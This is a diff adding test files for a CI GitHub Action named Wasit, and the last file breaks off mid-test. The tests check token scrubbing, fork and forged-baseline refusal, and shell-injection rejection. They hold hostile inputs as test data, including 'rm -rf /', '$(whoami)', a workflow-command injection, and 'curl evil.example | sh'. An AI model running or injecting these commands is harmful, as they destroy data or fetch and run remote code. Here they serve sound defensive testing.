CONTEXT), undefined); + }); + }); + + it("accepts only the conclusions it lists, which are 'success'", () => { + assert.deepEqual([...ACCEPTED_CONCLUSIONS], ["success"]); + }); + + it("compares repository names without case", () => { + assert.equal(selectBaselineRun([run({ head_repository: { full_name: "Acme/Paywall" }, repository: { full_name: "ACME/paywall" } })], CONTEXT)?.id, 100); + }); +}); + +/** A fake gh for the whole flow, with the runs and artifacts it should answer. */ +function fakeGh({ workflowId = 4242, runs = [], artifacts = {}, defaultBranch = "main", files = { "baseline.json": '{"schema":1}' }, failOn } = {}) { + const calls = []; + const gh = async (args) => { + calls.push(args); + const text = args.join(" "); + if (failOn !== undefined && text.includes(failOn)) return { code: 1, stdout: "", stderr: "gh: Server Error (HTTP 500)" }; + if (args[0] === "api") { + const route = args[1]; + if (route === `repos/${REPOSITORY}`) return { code: 0, stdout: JSON.stringify({ default_branch: defaultBranch }), stderr: "" }; + if (/^repos\/acme\/paywall\/actions\/runs\/\d+$/.test(route)) return { code: 0, stdout: JSON.stringify({ workflow_id: workflowId }), stderr: "" }; + if (route.startsWith(`repos/${REPOSITORY}/actions/workflows/${workflowId}/runs?`)) return { code: 0, stdout: JSON.stringify({ workflow_runs: runs }), stderr: "" }; + const match = /^repos\/acme\/paywall\/actions\/runs\/(\d+)\/artifacts\?/.exec(route); + if (match) return { code: 0, stdout: JSON.stringify({ artifacts: artifacts[match[1]] ?? [] }), stderr: "" }; + } + if (args[0] === "run" && args[1] === "download") { + const directory = args[args.indexOf("--dir") + 1]; + await mkdir(directory, { recursive: true }); + for (const [name, content] of Object.entries(files)) await writeFile(path.join(directory, name), content); + return { code: 0, stdout: "", stderr: "" }; + } + throw new Error(`unexpected gh call: ${text}`); + }; + return { gh, calls }; +} + +const artifact = (runId, overrides = {}) => ({ id: 1, name: BASELINE_ARTIFACT, expired: false, created_at: "2026-11-12T00:00:00Z", workflow_run: { id: runId }, ...overrides }); + +describe("findBaseline", () => { + let dir; + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-action-baseline-")); + }); + after(async () => { + await rm(dir, { recursive: true, force: true }); + }); + + const base = () => ({ repository: REPOSITORY, defaultBranch: "main", runId: 900, directory: path.join(dir, `d-${Math.random().toString(16).slice(2)}`) }); + + it("downloads the artifact of the chosen run, by run id, and returns the file", async () => { + const { gh, calls } = fakeGh({ runs: [run({ id: 200 })], artifacts: { 200: [artifact(200)] } }); + const input = base(); + const result = await findBaseline({ ...input, gh, log: () => {} }); + assert.ok(result.path?.endsWith("baseline.json")); + assert.equal(await readFile(result.path, "utf-8"), '{"schema":1}'); + const download = calls.find((args) => args[0] === "run"); + assert.deepEqual(download.slice(0, 3), ["run", "download", "200"]); + assert.ok(download.includes("--repo") && download.includes(REPOSITORY)); + assert.equal(download[download.indexOf("--name") + 1], BASELINE_ARTIFACT); + }); + + it("asks the API for push runs of this workflow on the default branch, that succeeded", async () => { + const { gh, calls } = fakeGh({ runs: [] }); + await findBaseline({ ...base(), gh, log: () => {} }); + const listing = calls.map((args) => args[1]).find((route) => route?.includes("/workflows/")); + assert.match(listing, /\/workflows\/4242\/runs\?/); + assert.match(listing, /event=push/); + assert.match(listing, /branch=main/); + assert.match(listing, /status=success/); + }); + + describe("a forged baseline from a pull request run is never used", () => { + it("takes the older trusted run, not the newer forged one, and never asks for the forged run's artifacts", async () => { + const forged = run({ id: 777, event: "pull_request", head_repository: { full_name: "mallory/paywall" }, created_at: "2026-11-14T00:00:00Z" }); + const trusted = run({ id: 200, created_at: "2026-11-01T00:00:00Z" }); + const { gh, calls } = fakeGh({ runs: [forged, trusted], artifacts: { 777: [artifact(777)], 200: [artifact(200)] } }); + const result = await findBaseline({ ...base(), gh, log: () => {} }); + assert.ok(result.path !== undefined); + assert.ok(calls.every((args) => !args.join(" ").includes("777")), "run 777 was never mentioned to gh"); + assert.equal(calls.find((args) => args[0] === "run")[2], "200"); + }); + + it("finds no baseline when the only artifact named wasit-baseline is from a forged run", async () => { + const forged = run({ id: 777, event: "pull_request", head_branch: "main", head_repository: { full_name: "mallory/paywall" } }); + const { gh, calls } = fakeGh({ runs: [forged], artifacts: { 777: [artifact(777)] } }); + const result = await findBaseline({ ...base(), gh, log: () => {} }); + assert.equal(result.path, undefined); + assert.ok(calls.every((args) => args[0] !== "run"), "nothing was downloaded"); + }); + + it("ignores an artifact that says it belongs to another run", async () => { + const { gh, calls } = fakeGh({ runs: [run({ id: 200 })], artifacts: { 200: [artifact(999)] } }); + const result = await findBaseline({ ...base(), gh, log: () => {} }); + assert.equal(result.path, undefined); + assert.ok(calls.every((args) => args[0] !== "run")); + }); + }); + + it("finds no baseline, and says so, when the chosen run's artifact has expired or is not there", async () => { + for (const artifacts of [{ 200: [artifact(200, { expired: true })] }, { 200: [] }, { 200: [artifact(200, { name: "something-else" })] }]) { + const { gh } = fakeGh({ runs: [run({ id: 200 })], artifacts }); + const lines = []; + const result = await findBaseline({ ...base(), gh, log: (line) => lines.push(line) }); + assert.equal(result.path, undefined); + assert.match(lines.join("\n"), /no baseline/i); + } + }); + + it("finds no baseline when there is no successful push run yet (the first run on main)", async () => { + const { gh } = fakeGh({ runs: [] }); + const result = await findBaseline({ ...base(), gh, log: () => {} }); + assert.equal(result.path, undefined); + }); + + it("takes the newest of several artifacts the run has (a re-run)", async () => { + const { gh, calls } = fakeGh({ + runs: [run({ id: 200 })], + artifacts: { 200: [artifact(200, { id: 1, created_at: "2026-11-10T00:00:00Z" }), artifact(200, { id: 2, created_at: "2026-11-11T00:00:00Z" })] }, + }); + await findBaseline({ ...base(), gh, log: () => {} }); + assert.equal(calls.filter((args) => args[0] === "run").length, 1); + }); + + it("finds no baseline, and does not throw, when gh fails at any step", async () => { + for (const failOn of [`repos/${REPOSITORY}/actions/runs/900`, "/workflows/", "/artifacts", "run download"]) { + const { gh } = fakeGh({ runs: [run({ id: 200 })], artifacts: { 200: [artifact(200)] }, failOn }); + const lines = []; + const result = await findBaseline({ ...base(), gh, log: (line) => lines.push(line) }); + assert.equal(result.path, undefined, failOn); + assert.ok(lines.length > 0, failOn); + } + }); + + it("finds no baseline when the download leaves no JSON file", async () => { + const { gh } = fakeGh({ runs: [run({ id: 200 })], artifacts: { 200: [artifact(200)] }, files: { "notes.txt": "x" } }); + const result = await findBaseline({ ...base(), gh, log: () => {} }); + assert.equal(result.path, undefined); + }); + + it("asks the repository for its default branch when the caller does not know it", async () => { + const { gh, calls } = fakeGh({ defaultBranch: "trunk", runs: [run({ id: 200, head_branch: "trunk" })], artifacts: { 200: [artifact(200)] } }); + const { defaultBranch: _unused, ...rest } = base(); + const result = await findBaseline({ ...rest, gh, log: () => {} }); + assert.ok(result.path !== undefined); + assert.ok(calls.some((args) => args[1] === `repos/${REPOSITORY}`)); + }); + + it("refuses a repository or run id that is not one, before any call", async () => { + const { gh, calls } = fakeGh({}); + for (const bad of [{ repository: "acme/paywall; id" }, { repository: "x" }, { runId: "9; id" }, { runId: -1 }]) { + const result = await findBaseline({ ...base(), ...bad, gh, log: () => {} }); + assert.equal(result.path, undefined); + } + assert.equal(calls.length, 0); + }); + + it("does not let text from gh start a workflow command in the log", async () => { + const gh = async () => ({ code: 1, stdout: "", stderr: "\u001b[2J\n::set-output name=x::1" }); + const lines = []; + await findBaseline({ ...base(), gh, log: (line) => lines.push(line) }); + for (const line of lines.join("\n").split("\n")) assert.ok(!/^\s*(::|##\[)/.test(line), line); + assert.ok(!lines.join("\n").includes("\u001b")); + }); +}); + +describe("main, the step as the workflow runs it", () => { + let dir; + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-action-baseline-main-")); + }); + after(async () => { + await rm(dir, { recursive: true, force: true }); + }); + + async function env() { + const eventPath = path.join(dir, "event.json"); + await writeFile(eventPath, JSON.stringify({ repository: { full_name: REPOSITORY, default_branch: "main" } })); + return { + GITHUB_REPOSITORY: REPOSITORY, + GITHUB_RUN_ID: "900", + GITHUB_EVENT_PATH: eventPath, + GITHUB_OUTPUT: path.join(dir, "output.txt"), + RUNNER_TEMP: dir, + }; + } + + it("writes path= to the step output when it found a baseline, under the runner's temp directory, and exits 0", async () => { + const environment = await env(); + const { gh } = fakeGh({ runs: [run({ id: 200 })], artifacts: { 200: [artifact(200)] } }); + assert.equal(await main(environment, { gh, log: () => {} }), 0); + const output = await readFile(environment.GITHUB_OUTPUT, "utf-8"); + const line = output.split("\n").find((entry) => entry.startsWith("path=")); + assert.ok(line !== undefined, output); + assert.ok(line.slice("path=".length).startsWith(dir)); + }); + + it("writes an empty path= and exits 0 when there is none", async () => { + const environment = { ...(await env()), GITHUB_OUTPUT: path.join(dir, "output-none.txt") }; + const { gh } = fakeGh({ runs: [] }); + assert.equal(await main(environment, { gh, log: () => {} }), 0); + assert.match(await readFile(environment.GITHUB_OUTPUT, "utf-8"), /^path=$/m); + }); + + it("exits 0 even when its own environment is wrong", async () => { + assert.equal(await main({}, { gh: async () => ({ code: 1, stdout: "", stderr: "" }), log: () => {} }), 0); + }); +}); diff --git a/action/test/comment.test.mjs b/action/test/comment.test.mjs new file mode 100644 index 0000000..137710f --- /dev/null +++ b/action/test/comment.test.mjs @@ -0,0 +1,301 @@ +/** + * The comment step of the Action (spec A4 step 5, A8 #8): one comment on the pull + * request, found by its marker, updated on each push; only comments by + * github-actions[bot] are considered; a 403 (a fork's read-only token) is + * logged and never fails the job; and a pull request from a fork is not even + * tried. + * + * The `gh` call is injected: nothing here touches the network or a token. + */ + +import assert from "node:assert/strict"; +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { after, before, describe, it } from "node:test"; + +import { COMMENT_MARKER } from "../../packages/core/dist/ci-report.js"; +import { findOwnComment, httpStatus, isForkPullRequest, main, upsertComment } from "../scripts/comment.mjs"; + +const REPOSITORY = "acme/paywall"; +const BOT = { login: "github-actions[bot]", type: "Bot" }; +const BODY = `${COMMENT_MARKER}\n**Wasit: conformant.** 1 graded on local, stellar:testnet.\n`; + +/** A fake `gh api`: answers from a table, records every call. */ +function fakeGh(handlers) { + const calls = []; + const gh = async (args, options = {}) => { + calls.push({ args, input: options.input }); + const key = `${args.includes("--method") ? args[args.indexOf("--method") + 1] : "GET"} ${args[1]}`; + for (const [pattern, answer] of handlers) { + if (key.startsWith(pattern)) return typeof answer === "function" ? answer(args, options) : answer; + } + throw new Error(`unexpected gh call: ${key}`); + }; + return { gh, calls }; +} + +const ok = (value) => ({ code: 0, stdout: JSON.stringify(value), stderr: "" }); +const http = (status, message = "error") => ({ code: 1, stdout: "", stderr: `gh: ${message} (HTTP ${status})` }); +const quiet = () => { + const lines = []; + return { lines, log: (line) => lines.push(line) }; +}; + +describe("isForkPullRequest", () => { + const event = (headRepo, baseRepo = REPOSITORY) => ({ + repository: { full_name: baseRepo }, + pull_request: { number: 7, head: { repo: headRepo === undefined ? undefined : headRepo === null ? null : { full_name: headRepo } } }, + }); + + it("is false when the head repository is the base repository", () => { + assert.equal(isForkPullRequest(event(REPOSITORY)), false); + }); + + it("is false when only the case of the name differs: GitHub names are not case-sensitive", () => { + assert.equal(isForkPullRequest(event("Acme/Paywall")), false); + }); + + it("is true for a head repository that is another", () => { + assert.equal(isForkPullRequest(event("mallory/paywall")), true); + }); + + it("is true when the head repository is gone (a deleted fork) or the event does not say", () => { + assert.equal(isForkPullRequest(event(null)), true); + assert.equal(isForkPullRequest(event(undefined)), true); + assert.equal(isForkPullRequest({}), true); + assert.equal(isForkPullRequest({ repository: { full_name: REPOSITORY } }), true); + assert.equal(isForkPullRequest(null), true); + }); +}); + +describe("httpStatus", () => { + it("reads the status gh prints on a failed call", () => { + assert.equal(httpStatus(http(403, "Resource not accessible by integration")), 403); + assert.equal(httpStatus({ code: 1, stdout: "", stderr: "gh: Not Found (HTTP 404)" }), 404); + }); + it("is undefined when there is none, or the call worked", () => { + assert.equal(httpStatus({ code: 1, stdout: "", stderr: "connection reset" }), undefined); + assert.equal(httpStatus({ code: 0, stdout: "{}", stderr: "" }), undefined); + }); +}); + +describe("findOwnComment", () => { + const mine = { id: 10, user: BOT, body: BODY }; + + it("finds a comment by github-actions[bot] that starts with the marker", () => { + assert.equal(findOwnComment([{ id: 1, user: { login: "alice", type: "User" }, body: "hi" }, mine], COMMENT_MARKER)?.id, 10); + }); + + it("ignores a comment by anyone else, however it starts: a person quoting the marker is not Wasit", () => { + const imposter = { id: 5, user: { login: "mallory", type: "User" }, body: BODY }; + assert.equal(findOwnComment([imposter], COMMENT_MARKER), undefined); + }); + + it("ignores a user that has the bot's name but is not a bot, and another bot", () => { + assert.equal(findOwnComment([{ id: 5, user: { login: "github-actions[bot]", type: "User" }, body: BODY }], COMMENT_MARKER), undefined); + assert.equal(findOwnComment([{ id: 6, user: { login: "dependabot[bot]", type: "Bot" }, body: BODY }], COMMENT_MARKER), undefined); + }); + + it("ignores a bot comment that does not start with the marker, or has it only further down", () => { + assert.equal(findOwnComment([{ id: 5, user: BOT, body: "Something else" }], COMMENT_MARKER), undefined); + assert.equal(findOwnComment([{ id: 6, user: BOT, body: `intro\n${BODY}` }], COMMENT_MARKER), undefined); + }); + + it("takes the oldest when there are several, so a duplicate does not take over", () => { + assert.equal(findOwnComment([{ ...mine, id: 30 }, { ...mine, id: 12 }, { ...mine, id: 20 }], COMMENT_MARKER)?.id, 12); + }); + + it("copes with a comment that has no user or no body (a deleted account)", () => { + assert.equal(findOwnComment([{ id: 1, user: null, body: BODY }, { id: 2, user: BOT, body: null }], COMMENT_MARKER), undefined); + }); +}); + +describe("upsertComment", () => { + const base = { repository: REPOSITORY, pullNumber: 7, body: BODY, marker: COMMENT_MARKER }; + + it("creates the comment when there is none", async () => { + const { gh, calls } = fakeGh([ + ["GET repos/acme/paywall/issues/7/comments", ok([{ id: 1, user: { login: "alice", type: "User" }, body: "hi" }])], + ["POST repos/acme/paywall/issues/7/comments", ok({ id: 99 })], + ]); + const { log } = quiet(); + const result = await upsertComment({ ...base, gh, log }); + assert.equal(result.action, "created"); + const post = calls.find((call) => call.args.includes("POST")); + assert.deepEqual(JSON.parse(post.input), { body: BODY }); + }); + + it("updates the comment it wrote before, and creates none", async () => { + const { gh, calls } = fakeGh([ + ["GET repos/acme/paywall/issues/7/comments", ok([{ id: 41, user: BOT, body: `${COMMENT_MARKER}\nold` }])], + ["PATCH repos/acme/paywall/issues/comments/41", ok({ id: 41 })], + ]); + const result = await upsertComment({ ...base, gh, log: () => {} }); + assert.equal(result.action, "updated"); + assert.equal(calls.filter((call) => call.args.includes("POST")).length, 0); + assert.deepEqual(JSON.parse(calls.find((call) => call.args.includes("PATCH")).input), { body: BODY }); + }); + + it("never updates someone else's comment that carries the marker: it writes its own", async () => { + const { gh, calls } = fakeGh([ + ["GET repos/acme/paywall/issues/7/comments", ok([{ id: 8, user: { login: "mallory", type: "User" }, body: BODY }])], + ["POST repos/acme/paywall/issues/7/comments", ok({ id: 100 })], + ]); + const result = await upsertComment({ ...base, gh, log: () => {} }); + assert.equal(result.action, "created"); + assert.equal(calls.filter((call) => call.args.includes("PATCH")).length, 0); + }); + + it("looks through every page of comments", async () => { + const page1 = Array.from({ length: 100 }, (_, index) => ({ id: index + 1, user: { login: "alice", type: "User" }, body: "x" })); + const { gh, calls } = fakeGh([ + ["GET repos/acme/paywall/issues/7/comments?per_page=100&page=1", ok(page1)], + ["GET repos/acme/paywall/issues/7/comments?per_page=100&page=2", ok([{ id: 500, user: BOT, body: BODY }])], + ["PATCH repos/acme/paywall/issues/comments/500", ok({ id: 500 })], + ]); + const result = await upsertComment({ ...base, gh, log: () => {} }); + assert.equal(result.action, "updated"); + assert.equal(calls.filter((call) => call.args[1].includes("page=")).length, 2); + }); + + it("sends the body on stdin as JSON, never on the command line", async () => { + const nasty = `${COMMENT_MARKER}\n"; rm -rf / #\n$(whoami) \`id\``; + const { gh, calls } = fakeGh([ + ["GET", ok([])], + ["POST", ok({ id: 1 })], + ]); + await upsertComment({ ...base, body: nasty, gh, log: () => {} }); + for (const call of calls) for (const arg of call.args) assert.ok(!arg.includes("rm -rf"), arg); + assert.equal(JSON.parse(calls.find((call) => call.args.includes("POST")).input).body, nasty); + }); + + describe("a 403, as a fork's token gets", () => { + it("on listing: logged, nothing posted, no throw", async () => { + const { gh, calls } = fakeGh([["GET", http(403, "Resource not accessible by integration")]]); + const { lines, log } = quiet(); + const result = await upsertComment({ ...base, gh, log }); + assert.equal(result.action, "skipped"); + assert.equal(result.reason, "forbidden"); + assert.match(lines.join("\n"), /403/); + assert.match(lines.join("\n"), /not posted|no comment/i); + assert.equal(calls.length, 1); + }); + + it("on creating: logged, no throw", async () => { + const { gh } = fakeGh([["GET", ok([])], ["POST", http(403)]]); + const { lines, log } = quiet(); + const result = await upsertComment({ ...base, gh, log }); + assert.equal(result.action, "skipped"); + assert.match(lines.join("\n"), /403/); + }); + + it("on updating: logged, no throw", async () => { + const { gh } = fakeGh([["GET", ok([{ id: 2, user: BOT, body: BODY }])], ["PATCH", http(403)]]); + const { lines, log } = quiet(); + const result = await upsertComment({ ...base, gh, log }); + assert.equal(result.action, "skipped"); + assert.match(lines.join("\n"), /403/); + }); + }); + + describe("any other failure", () => { + it("is logged as a warning and does not throw: the comment is not the verdict of the job", async () => { + for (const failure of [http(500, "Server Error"), { code: 1, stdout: "", stderr: "connection reset" }, { code: 0, stdout: "not json", stderr: "" }]) { + const { gh } = fakeGh([["GET", failure]]); + const { lines, log } = quiet(); + const result = await upsertComment({ ...base, gh, log }); + assert.equal(result.action, "skipped"); + assert.match(lines.join("\n"), /warning/i); + } + }); + + it("does not let text from gh start a workflow command in the log", async () => { + const { gh } = fakeGh([["GET", { code: 1, stdout: "", stderr: "\u001b[2J\n::set-output name=x::1\nHTTP 500" }]]); + const { lines, log } = quiet(); + await upsertComment({ ...base, gh, log }); + for (const line of lines.join("\n").split("\n")) assert.ok(!/^\s*(::|##\[)/.test(line), line); + assert.ok(!lines.join("\n").includes("\u001b")); + }); + }); + + it("refuses a body that does not start with the marker: it posts only what Wasit wrote", async () => { + const { gh, calls } = fakeGh([]); + const result = await upsertComment({ ...base, body: "just some text", gh, log: () => {} }); + assert.equal(result.action, "skipped"); + assert.equal(result.reason, "not-a-wasit-comment"); + assert.equal(calls.length, 0); + }); + + it("refuses a body over what GitHub accepts", async () => { + const { gh, calls } = fakeGh([]); + const result = await upsertComment({ ...base, body: `${COMMENT_MARKER}\n${"x".repeat(66_000)}`, gh, log: () => {} }); + assert.equal(result.action, "skipped"); + assert.equal(calls.length, 0); + }); + + it("refuses a repository or a pull request number that is not one", async () => { + const { gh, calls } = fakeGh([]); + for (const bad of [{ repository: "acme/paywall; id" }, { repository: "no-slash" }, { pullNumber: 0 }, { pullNumber: -3 }, { pullNumber: "7; id" }, { pullNumber: 1.5 }]) { + const result = await upsertComment({ ...base, ...bad, gh, log: () => {} }); + assert.equal(result.action, "skipped", JSON.stringify(bad)); + } + assert.equal(calls.length, 0); + }); +}); + +describe("main, the step as the workflow runs it", () => { + let dir; + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-action-comment-")); + }); + after(async () => { + await rm(dir, { recursive: true, force: true }); + }); + + async function setup({ eventName = "pull_request", headRepo = REPOSITORY, comment = BODY } = {}) { + const eventPath = path.join(dir, `event-${Math.random().toString(16).slice(2)}.json`); + const commentPath = path.join(dir, `comment-${Math.random().toString(16).slice(2)}.md`); + await writeFile(eventPath, JSON.stringify({ repository: { full_name: REPOSITORY }, pull_request: { number: 7, head: { repo: { full_name: headRepo } } } })); + await writeFile(commentPath, comment); + return { GITHUB_EVENT_NAME: eventName, GITHUB_EVENT_PATH: eventPath, GITHUB_REPOSITORY: REPOSITORY, WASIT_COMMENT_FILE: commentPath }; + } + + it("posts on a pull request from the same repository, and exits 0", async () => { + const env = await setup(); + const { gh, calls } = fakeGh([["GET", ok([])], ["POST", ok({ id: 1 })]]); + const { log } = quiet(); + assert.equal(await main(env, { gh, log }), 0); + assert.equal(calls.filter((call) => call.args.includes("POST")).length, 1); + }); + + it("does not call gh at all for a pull request from a fork, says why, and exits 0", async () => { + const env = await setup({ headRepo: "mallory/paywall" }); + const { gh, calls } = fakeGh([]); + const { lines, log } = quiet(); + assert.equal(await main(env, { gh, log }), 0); + assert.equal(calls.length, 0); + assert.match(lines.join("\n"), /fork/); + assert.match(lines.join("\n"), /job summary/); + }); + + it("does nothing on a push, and exits 0", async () => { + const env = await setup({ eventName: "push" }); + const { gh, calls } = fakeGh([]); + assert.equal(await main(env, { gh, log: () => {} }), 0); + assert.equal(calls.length, 0); + }); + + it("exits 0 when the comment file is missing: the report may not have been written", async () => { + const env = await setup(); + const { gh, calls } = fakeGh([]); + assert.equal(await main({ ...env, WASIT_COMMENT_FILE: path.join(dir, "no-such-comment.md") }, { gh, log: () => {} }), 0); + assert.equal(calls.length, 0); + }); + + it("exits 0 when gh answers 403", async () => { + const env = await setup(); + const { gh } = fakeGh([["GET", http(403)]]); + assert.equal(await main(env, { gh, log: () => {} }), 0); + }); +}); diff --git a/action/test/inputs.test.mjs b/action/test/inputs.test.mjs new file mode 100644 index 0000000..326966d --- /dev/null +++ b/action/test/inputs.test.mjs @@ -0,0 +1,144 @@ +/** + * The inputs of the Action and the command lines built from them (spec A4, + * A8 #1, #8): every input reaches the CLI as one argument of an argument list, + * never as shell text, and the tier that pays is refused in this version. + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { + InputError, + TOKEN_VARIABLES, + buildReportArgs, + buildRunArgs, + parseInputs, + scrubTokens, +} from "../scripts/inputs.mjs"; + +const env = (overrides = {}) => ({ INPUT_CONFIG: "wasit.config.json", INPUT_ENVIRONMENT: "", INPUT_TIER: "read-only", INPUT_ENDPOINTS: "", GITHUB_EVENT_NAME: "pull_request", ...overrides }); + +describe("parseInputs", () => { + it("takes the defaults: the config file in the working directory, read-only, every endpoint", () => { + assert.deepEqual(parseInputs(env()), { config: "wasit.config.json", environment: undefined, tier: "read-only", endpoints: [] }); + }); + + it("reads an environment and a list of endpoints, separated by line breaks or commas", () => { + const inputs = parseInputs(env({ INPUT_ENVIRONMENT: "staging", INPUT_ENDPOINTS: "weather, summarize\nchat\r\n\n , raw" })); + assert.equal(inputs.environment, "staging"); + assert.deepEqual(inputs.endpoints, ["weather", "summarize", "chat", "raw"]); + }); + + it("falls back to the defaults when the workflow passes an empty value", () => { + assert.equal(parseInputs(env({ INPUT_CONFIG: "", INPUT_TIER: "" })).config, "wasit.config.json"); + assert.equal(parseInputs(env({ INPUT_TIER: "" })).tier, "read-only"); + }); + + describe("tier", () => { + it("refuses payment: not available in this version", () => { + assert.throws(() => parseInputs(env({ INPUT_TIER: "payment" })), (error) => error instanceof InputError && /not available in this version/.test(error.message)); + }); + + it("refuses anything that is not read-only, naming the value as data", () => { + for (const tier of ["Payment", "full", "read-only; id", "mainnet"]) { + assert.throws(() => parseInputs(env({ INPUT_TIER: tier })), InputError, tier); + } + }); + }); + + it("refuses pull_request_target: it would give a fork's code the base repository's token", () => { + assert.throws( + () => parseInputs(env({ GITHUB_EVENT_NAME: "pull_request_target" })), + (error) => error instanceof InputError && /pull_request_target/.test(error.message), + ); + }); + + it("allows push, pull_request, workflow_dispatch and schedule", () => { + for (const name of ["push", "pull_request", "workflow_dispatch", "schedule"]) assert.doesNotThrow(() => parseInputs(env({ GITHUB_EVENT_NAME: name })), name); + }); + + describe("names that would be shell text", () => { + const bad = ["a; rm -rf /", "$(whoami)", "`id`", "a b", "../x", "-r", "--flag", "a|b", "x".repeat(65), "é"]; + for (const name of bad) { + it(`refuses the endpoint ${JSON.stringify(name)} and the environment of the same name`, () => { + assert.throws(() => parseInputs(env({ INPUT_ENDPOINTS: name })), InputError); + assert.throws(() => parseInputs(env({ INPUT_ENVIRONMENT: name })), InputError); + }); + } + + it("refuses more than 50 endpoints", () => { + assert.throws(() => parseInputs(env({ INPUT_ENDPOINTS: Array.from({ length: 51 }, (_, index) => `e${index}`).join(",") })), InputError); + }); + + it("refuses a config path with a control character or over 300 characters", () => { + assert.throws(() => parseInputs(env({ INPUT_CONFIG: "a\nb" })), InputError); + assert.throws(() => parseInputs(env({ INPUT_CONFIG: "x".repeat(301) })), InputError); + assert.throws(() => parseInputs(env({ INPUT_CONFIG: "-rf" })), InputError); + }); + }); +}); + +describe("buildRunArgs", () => { + const cli = "/opt/wasit/packages/cli/dist/index.js"; + const paths = { cli, report: "/tmp/w/report.json" }; + + it("is one call: run --read-only --start --json --out, with the config", () => { + assert.deepEqual(buildRunArgs(parseInputs(env()), paths), [cli, "run", "--read-only", "--start-if-local", "--json", "--out", "/tmp/w/report.json", "--config", "wasit.config.json"]); + }); + + it("adds --baseline, --env and --endpoint once per name, in a fixed order", () => { + const args = buildRunArgs(parseInputs(env({ INPUT_ENVIRONMENT: "staging", INPUT_ENDPOINTS: "a,b" })), { ...paths, baseline: "/tmp/w/baseline/baseline.json" }); + assert.deepEqual(args, [ + cli, "run", "--read-only", "--start-if-local", "--json", "--out", "/tmp/w/report.json", + "--baseline", "/tmp/w/baseline/baseline.json", + "--config", "wasit.config.json", "--env", "staging", "--endpoint", "a", "--endpoint", "b", + ]); + }); + + it("offers no flag that pays, signs or opts in", () => { + const joined = buildRunArgs(parseInputs(env()), paths).join(" "); + assert.ok(!/--dry-run|--mainnet|--payer-key|--commitment-key|--allow-destructive/.test(joined)); + }); + + it("keeps a value that looks like a flag a single argument after its option", () => { + const args = buildRunArgs({ config: "wasit.config.json", environment: "staging", tier: "read-only", endpoints: ["a"] }, paths); + assert.equal(args[args.indexOf("--env") + 1], "staging"); + }); +}); + +describe("buildReportArgs", () => { + const paths = { cli: "/opt/wasit/packages/cli/dist/index.js", report: "/tmp/w/report.json", comment: "/tmp/w/comment.md", baselineOut: "/tmp/w/baseline-next.json" }; + + it("reads the report and writes the comment and the next baseline", () => { + assert.deepEqual(buildReportArgs(paths), [paths.cli, "ci-report", "--report", paths.report, "--comment", paths.comment, "--baseline-out", paths.baselineOut]); + }); + + it("adds --baseline only when there is one", () => { + assert.deepEqual(buildReportArgs({ ...paths, baseline: "/tmp/w/baseline/baseline.json" }).slice(-2), ["--baseline", "/tmp/w/baseline/baseline.json"]); + assert.ok(!buildReportArgs({ ...paths, baseline: "" }).includes("--baseline")); + }); +}); + +describe("scrubTokens", () => { + it("removes every variable that carries the job's token, in any spelling of the name", () => { + const clean = scrubTokens({ + PATH: "/usr/bin", + GH_TOKEN: "t1", + GITHUB_TOKEN: "t2", + gh_token: "t3", + ACTIONS_RUNTIME_TOKEN: "t4", + ACTIONS_ID_TOKEN_REQUEST_TOKEN: "t5", + ACTIONS_ID_TOKEN_REQUEST_URL: "https://example.invalid", + ACTIONS_CACHE_URL: "https://example.invalid", + KEEP_ME: "kept", + }); + assert.deepEqual(clean, { PATH: "/usr/bin", KEEP_ME: "kept" }); + for (const name of TOKEN_VARIABLES) assert.equal(clean[name], undefined, name); + }); + + it("does not change what it was given", () => { + const given = { GH_TOKEN: "t", A: "1" }; + scrubTokens(given); + assert.deepEqual(given, { GH_TOKEN: "t", A: "1" }); + }); +}); diff --git a/action/test/wasit-script.test.mjs b/action/test/wasit-script.test.mjs new file mode 100644 index 0000000..dd70c42 --- /dev/null +++ b/action/test/wasit-script.test.mjs @@ -0,0 +1,431 @@ +/** + * `scripts/wasit.mjs`, the three steps of the Action that run Wasit (check the + * inputs, run, report), first against a fake CLI that records what it was given, + * then against the real built CLI and a service on 127.0.0.1 (`npm run build` + * first). The Action is a thin wrapper: every decision is the CLI's, so what is + * held here is that the wrapper passes the right arguments, hands over nothing it + * should not (no token), and returns the CLI's exit code unchanged. + * + * Every key and token below is made up. Nothing leaves 127.0.0.1. + */ + +import assert from "node:assert/strict"; +import { spawn } from "node:child_process"; +import { existsSync } from "node:fs"; +import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { after, before, describe, it } from "node:test"; + +import { COMMENT_MARKER } from "../../packages/core/dist/ci-report.js"; +import { main } from "../scripts/wasit.mjs"; + +const ACTION_DIR = fileURLToPath(new URL("..", import.meta.url)); +const SCRIPT = path.join(ACTION_DIR, "scripts", "wasit.mjs"); + +/** Runs main() and collects what it printed. */ +async function runMain(command, env) { + const out = []; + const err = []; + const code = await main(command, env, { stdout: (line) => out.push(line), stderr: (line) => err.push(line) }); + return { code, stdout: out.join("\n"), stderr: err.join("\n") }; +} + +describe("wasit.mjs check", () => { + let temp; + before(async () => { + temp = await mkdtemp(path.join(tmpdir(), "wasit-action-check-")); + }); + after(async () => { + await rm(temp, { recursive: true, force: true }); + }); + + const env = () => ({ RUNNER_TEMP: temp, INPUT_CONFIG: "wasit.config.json", INPUT_TIER: "read-only", GITHUB_EVENT_NAME: "pull_request" }); + + it("accepts the defaults and makes the working directory under the runner's temp directory", async () => { + const result = await runMain("check", env()); + assert.equal(result.code, 0, result.stderr); + assert.ok(existsSync(path.join(temp, "wasit"))); + }); + + it("refuses the payment tier with the sentence the guide will quote, exit 2", async () => { + const result = await runMain("check", { ...env(), INPUT_TIER: "payment" }); + assert.equal(result.code, 2); + assert.match(result.stderr, /tier: payment is not available in this version/); + }); + + it("refuses pull_request_target, exit 2", async () => { + const result = await runMain("check", { ...env(), GITHUB_EVENT_NAME: "pull_request_target" }); + assert.equal(result.code, 2); + assert.match(result.stderr, /pull_request_target/); + }); + + it("refuses an endpoint name that is shell text, and does not print it back as a command", async () => { + const result = await runMain("check", { ...env(), INPUT_ENDPOINTS: "a; curl evil.example | sh\n::set-output name=x::1" }); + assert.equal(result.code, 2); + for (const line of result.stderr.split("\n")) 